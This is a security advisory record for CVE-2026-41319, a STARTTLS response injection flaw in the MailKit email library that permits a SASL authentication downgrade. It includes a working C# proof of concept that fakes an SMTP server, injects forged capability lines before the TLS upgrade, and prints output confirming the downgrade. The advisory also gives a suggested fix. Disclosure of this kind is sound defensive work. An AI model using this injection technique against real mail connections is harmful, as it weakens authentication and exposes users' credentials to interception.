{"id":"GHSA-9j88-vvj5-vhgr","summary":"MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade","details":"### Summary\n\nA STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in `SmtpStream`, `ImapStream`, and `Pop3Stream` is not flushed when the underlying stream is replaced with `SslStream` during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).\n\n### Details\n\nThe `Stream` property in `SmtpStream` (line 84-86), `ImapStream`, and `Pop3Stream` is a simple auto-property with no buffer reset:\n\n```csharp\npublic Stream Stream {\n    get; internal set;  // ← No buffer reset on set!\n}\n```\n\nDuring the STARTTLS upgrade in `SmtpClient.cs` (lines 1372-1389):\n\n```csharp\n// Reads STARTTLS response — \"220 Ready\" consumed, any extra data stays in buffer\nresponse = Stream.SendCommand(\"STARTTLS\\r\\n\", cancellationToken);\n\n// Swaps to TLS — buffer NOT flushed!\nvar tls = new SslStream(stream, false, ValidateRemoteCertificate);\nStream.Stream = tls;\nSslHandshake(tls, host, cancellationToken);\n\n// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!\nEhlo(true, cancellationToken);\n```\n\nA MitM appends extra data after the `\"220 Ready\\r\\n\"` STARTTLS response. Both arrive in one TCP read into `SmtpStream`'s 4096-byte internal buffer. `ReadResponse()` parses `\"220 Ready\"` and stops — the injected data remains at `inputIndex`. After `Stream.Stream = tls`, the buffer is not cleared. When `Ehlo()` calls `ReadResponse()`, it checks `inputIndex == inputEnd` — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.\n\nThe same pattern exists in `ImapClient.cs` (lines 1485-1509) and `Pop3Client.cs`.\n\n**Attack flow:**\n```\nClient                    MitM                     Real Server\n  |--- STARTTLS ----------\u003e|--- STARTTLS -----------\u003e|\n  |                        |\u003c-- 220 Ready -----------|\n  |\u003c-- \"220 Ready\\r\\n\"-----|                         |\n  |    \"250-evil\\r\\n\"       |  ← INJECTED            |\n  |    \"250 AUTH PLAIN\\r\\n\" |  ← INJECTED            |\n  |    \"250 OK\\r\\n\"         |  ← INJECTED            |\n  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|\n  |--- EHLO (over TLS) ---\u003e|                         |\n  | Reads from BUFFER:     |                         |\n  | \"250 AUTH PLAIN\"       |  ← PRE-TLS DATA        |\n  | PROCESSED AS POST-TLS! |                         |\n```\n\n**Suggested fix:** Reset buffer indices when the stream is replaced:\n```csharp\ninternal set { stream = value; inputIndex = inputEnd; }\n```\n\n### PoC\n\nSelf-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:\n\n```csharp\nusing System; using System.Net; using System.Net.Security; using System.Net.Sockets;\nusing System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;\nusing System.Text; using System.Threading; using System.Threading.Tasks;\nusing MailKit.Net.Smtp; using MailKit.Security;\n\nclass PoC {\n    static void Main() {\n        using var rsa = RSA.Create(2048);\n        var req = new CertificateRequest(\"CN=test\", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);\n        var cert = new X509Certificate2(req.CreateSelfSigned(\n            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));\n\n        var listener = new TcpListener(IPAddress.Loopback, 0);\n        listener.Start();\n        int port = ((IPEndPoint)listener.LocalEndpoint).Port;\n\n        Task.Run(() =\u003e {\n            using var tcp = listener.AcceptTcpClient();\n            var s = tcp.GetStream();\n            Send(s, \"220 evil.example.com ESMTP\\r\\n\");\n            Read(s);\n            Send(s, \"250-evil.example.com\\r\\n250-STARTTLS\\r\\n250-AUTH SCRAM-SHA-256\\r\\n250 OK\\r\\n\");\n            Read(s);\n            // ATTACK: inject fake EHLO response after \"220 Ready\"\n            Send(s, \"220 Ready\\r\\n250-evil.example.com\\r\\n250-AUTH PLAIN LOGIN\\r\\n250 OK\\r\\n\");\n            var ssl = new SslStream(s, false);\n            ssl.AuthenticateAsServer(cert, false, false);\n            ReadSsl(ssl);\n            SendSsl(ssl, \"250-evil.example.com\\r\\n250-AUTH SCRAM-SHA-256\\r\\n250 OK\\r\\n\");\n            Thread.Sleep(2000);\n        });\n\n        using var client = new SmtpClient();\n        client.ServerCertificateValidationCallback = (a, b, c, d) =\u003e true;\n        client.Connect(\"127.0.0.1\", port, SecureSocketOptions.StartTls);\n        Console.WriteLine($\"Auth mechanisms: {string.Join(\", \", client.AuthenticationMechanisms)}\");\n        // OUTPUT: \"Auth mechanisms: PLAIN, LOGIN\"\n        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED\n        client.Disconnect(false); listener.Stop();\n    }\n    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }\n    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }\n    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }\n    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }\n}\n```\n\n**Result against MailKit 4.12.0:**\n```\nAuth mechanisms: PLAIN, LOGIN\n(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)\n```\n\n### Impact\n\nAny application using MailKit with `SecureSocketOptions.StartTls` or `StartTlsWhenAvailable` (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.","aliases":["CVE-2026-41319"],"modified":"2026-05-05T16:11:48.047139Z","published":"2026-04-18T01:13:46Z","database_specific":{"nvd_published_at":"2026-04-24T04:16:20Z","cwe_ids":["CWE-74"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-04-18T01:13:46Z"},"references":[{"type":"WEB","url":"https://github.com/jstedfast/MailKit/security/advisories/GHSA-9j88-vvj5-vhgr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41319"},{"type":"PACKAGE","url":"https://github.com/jstedfast/MailKit"}],"affected":[{"package":{"name":"MailKit","ecosystem":"NuGet","purl":"pkg:nuget/MailKit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}],"versions":["0.1.0","0.10.0","0.11.0","0.12.0","0.13.0","0.14.0","0.15.0","0.16.0","0.17.0","0.18.0","0.19.0","0.2.0","0.20.0","0.21.0","0.22.0","0.23.0","0.24.0","0.25.0","0.26.0","0.3.0","0.4.0","0.5.0","0.6.0","0.7.0","0.8.0","0.9.0","0.90.0","0.90.0.1","0.91.0","0.92.0","0.93.0","0.94.0","0.95.0","0.96.0","0.97.0","0.98.0","1.0.0","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.6.1","1.0.7","1.0.8","1.0.9","1.10.0","1.10.1","1.10.2","1.12.0","1.14.0","1.14.1","1.14.2","1.16.0","1.16.1","1.16.2","1.18.0","1.18.1","1.18.1.1","1.2.0","1.2.1","1.2.10","1.2.11","1.2.11.1","1.2.12","1.2.13","1.2.14","1.2.15","1.2.16","1.2.16-beta1","1.2.16-beta2","1.2.17","1.2.18","1.2.19","1.2.2","1.2.20","1.2.21","1.2.22","1.2.23","1.2.24","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.20.0","1.22.0","1.3.0-beta1","1.3.0-beta2","1.3.0-beta3","1.3.0-beta4","1.3.0-beta5","1.3.0-beta6","1.3.0-beta7","1.3.0-rc1","1.3.0-rc1-1","1.4.0","1.4.1","1.4.2","1.4.2.1","1.6.0","1.8.0","1.8.1","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.1.0","2.1.0.1","2.1.0.2","2.1.0.3","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.1.5.1","2.10.0","2.10.1","2.11.0","2.11.1","2.12.0","2.13.0","2.14.0","2.15.0","2.2.0","2.3.0","2.3.1","2.3.1.6","2.3.2","2.4.0","2.4.0.1","2.4.1","2.5.0","2.5.1","2.5.2","2.6.0","2.7.0","2.8.0","2.9.0","3.0.0","3.0.0-preview1","3.1.0","3.1.1","3.2.0","3.3.0","3.4.0","3.4.1","3.4.2","3.4.3","3.5.0","3.6.0","4.0.0","4.1.0","4.10.0","4.11.0","4.12.0","4.12.1","4.13.0","4.14.0","4.14.1","4.15.0","4.15.1","4.2.0","4.3.0","4.4.0","4.5.0","4.6.0","4.7.0","4.7.1","4.7.1.1","4.8.0","4.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-9j88-vvj5-vhgr/GHSA-9j88-vvj5-vhgr.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"}]}